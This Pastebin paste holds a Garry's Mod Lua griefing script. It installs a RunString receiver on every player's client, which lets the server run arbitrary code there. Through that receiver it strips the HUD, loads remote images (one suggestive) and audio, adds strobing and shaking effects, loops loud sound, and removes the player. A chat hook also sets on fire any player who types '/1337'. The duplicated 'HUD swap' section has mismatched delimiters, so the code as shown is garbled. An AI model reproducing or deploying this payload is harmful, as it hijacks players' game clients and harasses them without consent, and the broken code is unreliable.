2much4Us

Untitled

Mar 14th, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.96 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://httpsinfamousvoice1com.000webhostapp.com/bb.jpg", "doritos", 300, 300 )
  100. LoadWebMaterial( "https://likemag.com/images/2017/10/moan-girl-622x326.jpg", "fedora", 300, 300 )
  101. LoadWebMaterial( "https://78.media.tumblr.com/6cf8b9870a7832a68294860527bd3a9b/tumblr_obt3htYFAR1sqkd33o1_400.gif", "dew", 300, 300 )
  102. LoadWebMaterial( "https://httpsinfamousvoice1com.000webhostapp.com/ded.jpg", "awp", 395, 635 )
  103. ]=]):format(lol.m_strImageLoadHTML) )
  104. end )
  105.  
  106. --HUD swap
  107. lol:PushAction( 13, function( pPlayer )
  108. lol:SendLua( pPlayer, [[
  109. (GAMEMODE or GM).CalcView = function() end
  110. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  111.  
  112. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  113. for k, v in pairs(remove) do
  114. hook.GetTable()[v] = {}
  115. end
  116.  
  117. local function GetWebMat( strURL )
  118. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  119. end
  120.  
  121. hook.Add( "HUDPaint", "newhud", function()
  122. surface.SetDrawColor( 255, 255, 255, 255 )
  123.  
  124. if GetWebMat( "hud1" ) then
  125. surface.SetMaterial( GetWebMat("hud1")[1] )
  126. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  127. end
  128. if GetWebMat( "hud2" ) then
  129. surface.SetMaterial( GetWebMat("hud2")[1] )
  130. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  131. end
  132. if GetWebMat( "hud3" ) then
  133. surface.SetMaterial( GetWebMat("hud3")[1] )
  134. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  135. end
  136. if GetWebMat( "doritos" ) then
  137. surface.SetMaterial( GetWebMat("doritos")[1] )
  138. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 300 *(256 /183), 300, CurTime() *512 )
  139. end
  140. if GetWebMat( "dew" ) then
  141. surface.SetMaterial( GetWebMat("dew")[1] )
  142. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300 *((256 /110) -1), 300, CurTime() *-512 )
  143. end
  144. if GetWebMat( "fedora" ) then
  145. surface.SetMaterial( GetWebMat("fedora")[1] )
  146. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  147. end
  148. if GetWebMat( "awp" ) then
  149. surface.SetMaterial( GetWebMat("awp")[1] )
  150. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300, 300, CurTime() *512 )
  151. end
  152. LoadWebMaterial( "https://httpsinfamousvoice1com.000webhostapp.com/bb.jpg", "doritos", 300, 300 )
  153. LoadWebMaterial( "https://likemag.com/images/2017/10/moan-girl-622x326.jpg", "fedora", 300, 300 )
  154. LoadWebMaterial( "https://78.media.tumblr.com/6cf8b9870a7832a68294860527bd3a9b/tumblr_obt3htYFAR1sqkd33o1_400.gif", "dew", 300, 300 )
  155. LoadWebMaterial( "https://httpsinfamousvoice1com.000webhostapp.com/ded.jpg", "awp", 395, 635 )
  156. ]=]):format(lol.m_strImageLoadHTML) )
  157. end )
  158.  
  159. --HUD swap
  160. lol:PushAction( 13, function( pPlayer )
  161. lol:SendLua( pPlayer, [[
  162. (GAMEMODE or GM).CalcView = function() end
  163. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  164.  
  165. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  166. for k, v in pairs(remove) do
  167. hook.GetTable()[v] = {}
  168. end
  169.  
  170. local function GetWebMat( strURL )
  171. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  172. end
  173.  
  174. hook.Add( "HUDPaint", "newhud", function()
  175. surface.SetDrawColor( 255, 255, 255, 255 )
  176.  
  177. if GetWebMat( "hud1" ) then
  178. surface.SetMaterial( GetWebMat("hud1")[1] )
  179. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  180. end
  181. if GetWebMat( "hud2" ) then
  182. surface.SetMaterial( GetWebMat("hud2")[1] )
  183. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  184. end
  185. if GetWebMat( "hud3" ) then
  186. surface.SetMaterial( GetWebMat("hud3")[1] )
  187. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  188. end
  189. if GetWebMat( "doritos" ) then
  190. surface.SetMaterial( GetWebMat("doritos")[1] )
  191. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 300 *(256 /183), 300, CurTime() *512 )
  192. end
  193. if GetWebMat( "dew" ) then
  194. surface.SetMaterial( GetWebMat("dew")[1] )
  195. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300 *((256 /110) -1), 300, CurTime() *-512 )
  196. end
  197. if GetWebMat( "fedora" ) then
  198. surface.SetMaterial( GetWebMat("fedora")[1] )
  199. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  200. end
  201. if GetWebMat( "awp" ) then
  202. surface.SetMaterial( GetWebMat("awp")[1] )
  203. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300, 300, CurTime() *512 )
  204. end
  205.  
  206. draw.SimpleTextOutlined(
  207. "A MEME HAS VISITED YOUR SERVER!!",
  208. "DermaLarge",
  209. ScrW() /2 +math.random( -8, 8 ),
  210. ScrH() /2 +math.random( -8, 8 ) +64,
  211. Color( 0, 255, 0 ),
  212. TEXT_ALIGN_CENTER,
  213. TEXT_ALIGN_CENTER,
  214. 1,
  215. Color( 0, 255, 0 )
  216. )
  217. end )
  218.  
  219. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  220. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  221.  
  222. surface.PlaySound( "garrysmod/save_load4.wav" )
  223. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  224. ]] )
  225. end )
  226.  
  227. --Disco time
  228. lol:PushAction( 10, function( pPlayer )
  229. local idx = pPlayer:EntIndex()
  230. timer.Create( "beat".. idx, 0.42, 0, function()
  231. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  232. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  233. end )
  234.  
  235.  
  236. lol:SendLua( pPlayer, [[
  237. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  238. local time = 0
  239.  
  240. hook.Add( "Think", "wat", function()
  241. if CurTime() < time then
  242. return
  243. end
  244.  
  245. time = CurTime() +0.05
  246. for i = 1, 16 do
  247. local part = emitter:Add(
  248. "particles/balloon_bit",
  249. LocalPlayer():GetPos() +Vector(
  250. math.random( -256, 256 ),
  251. math.random( -256, 256 ),
  252. 256
  253. )
  254. )
  255.  
  256. if part then
  257. local Size = math.random( 4, 7 )
  258.  
  259. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  260. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  261. part:SetDieTime( 4.5 )
  262. part:SetGravity( Vector(40, 0, -250) )
  263. part:SetLifeTime( 0 )
  264. part:SetStartSize( Size /2 )
  265. part:SetEndSize( Size )
  266. part:SetCollide( true )
  267. end
  268. end
  269. end )
  270. ]] )
  271.  
  272. lol:SendLua( pPlayer, [[
  273. hook.Add( "RenderScreenspaceEffects", "wat", function()
  274. local sinScaler = math.sin( CurTime() )
  275. DrawBloom(
  276. 0,
  277. 3,
  278. sinScaler *math.Rand(1, 8),
  279. sinScaler *math.Rand(1, 8),
  280. 6,
  281. math.Rand(0.5, 2),
  282. math.Rand(0, 0.3),
  283. math.Rand(0, 0.3),
  284. math.Rand(0.5, 1)
  285. )
  286.  
  287. DrawColorModify{
  288. ["$pp_colour_addr"] = 0,
  289. ["$pp_colour_addg"] = 0,
  290. ["$pp_colour_addb"] = 00,
  291. ["$pp_colour_brightness" ] = 0,
  292. ["$pp_colour_contrast" ] = 1,
  293. ["$pp_colour_colour" ] = 1,
  294. ["$pp_colour_mulr" ] = 0,
  295. ["$pp_colour_mulg" ] = 0,
  296. ["$pp_colour_mulb" ] = 1
  297. }
  298. end )
  299.  
  300. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  301. mdl:SetNoDraw( true )
  302. local posCache, time = {}, 0
  303.  
  304. hook.Add( "HUDPaint", "dance", function()
  305. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  306. local idx = mdl:LookupSequence("taunt_dance")
  307. mdl.SeqDuration = mdl:SequenceDuration( idx )
  308. mdl.SeqStart = CurTime()
  309. mdl:ResetSequence( idx )
  310. end
  311.  
  312. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  313.  
  314.  
  315. local w, h = 300, 300
  316. local ang = Angle( 0, 0, 0 )
  317.  
  318. for i = 1, 32 do
  319. if CurTime() > time then
  320. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  321. end
  322. local x, y = posCache[i][1], posCache[i][2]
  323.  
  324. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  325. cam.IgnoreZ( true )
  326. render.SuppressEngineLighting( true )
  327.  
  328. render.SetLightingOrigin( mdl:GetPos() )
  329. render.ResetModelLighting( 1, 1, 1 )
  330. render.SetColorModulation( 0, 0, 1 )
  331.  
  332. mdl:DrawModel()
  333.  
  334. render.SuppressEngineLighting( false )
  335. cam.IgnoreZ( false )
  336. cam.End3D()
  337. end
  338.  
  339. if CurTime() > time then
  340. time = CurTime() +0.15
  341. end
  342. end )
  343.  
  344. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  345. ]] )
  346. end )
  347.  
  348. --Let the beat drop
  349. lol:PushAction( 54, function( pPlayer )
  350. lol:SendLua( pPlayer, [[
  351. hook.Add( "GetMotionBlurValues", "wat", function()
  352. return 0, 0, 1, math.sin(CurTime() *13)
  353. end )
  354.  
  355. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  356. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  357. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  358. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  359. end )
  360.  
  361. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  362. render.SetMaterial( Material("cable/blue_elec") )
  363. for i = 1, 32 do
  364. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  365. end
  366. end )
  367.  
  368. timer.Create( "thedrop", 0.42, 0, function()
  369. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  370. end )
  371. ]] )
  372. end )
  373.  
  374. --EVIL TIME rip headpones
  375. lol:PushAction( 175, function( pPlayer )
  376. lol:SendLua( pPlayer, [[
  377. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  378.  
  379. local sounds = {}
  380. for i = 1, 4 do
  381. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  382. sounds[#sounds +1] = pChan
  383. end )
  384. end
  385.  
  386. timer.Create( "asdf", 1, 0, function()
  387. if #sounds ~= 4 then return end
  388. timer.Destroy( "asdf" )
  389. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  390. end )
  391.  
  392. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  393. ]] )
  394.  
  395. pPlayer:Remove()
  396. end )
Advertisement
Add Comment
Please, Sign In to add comment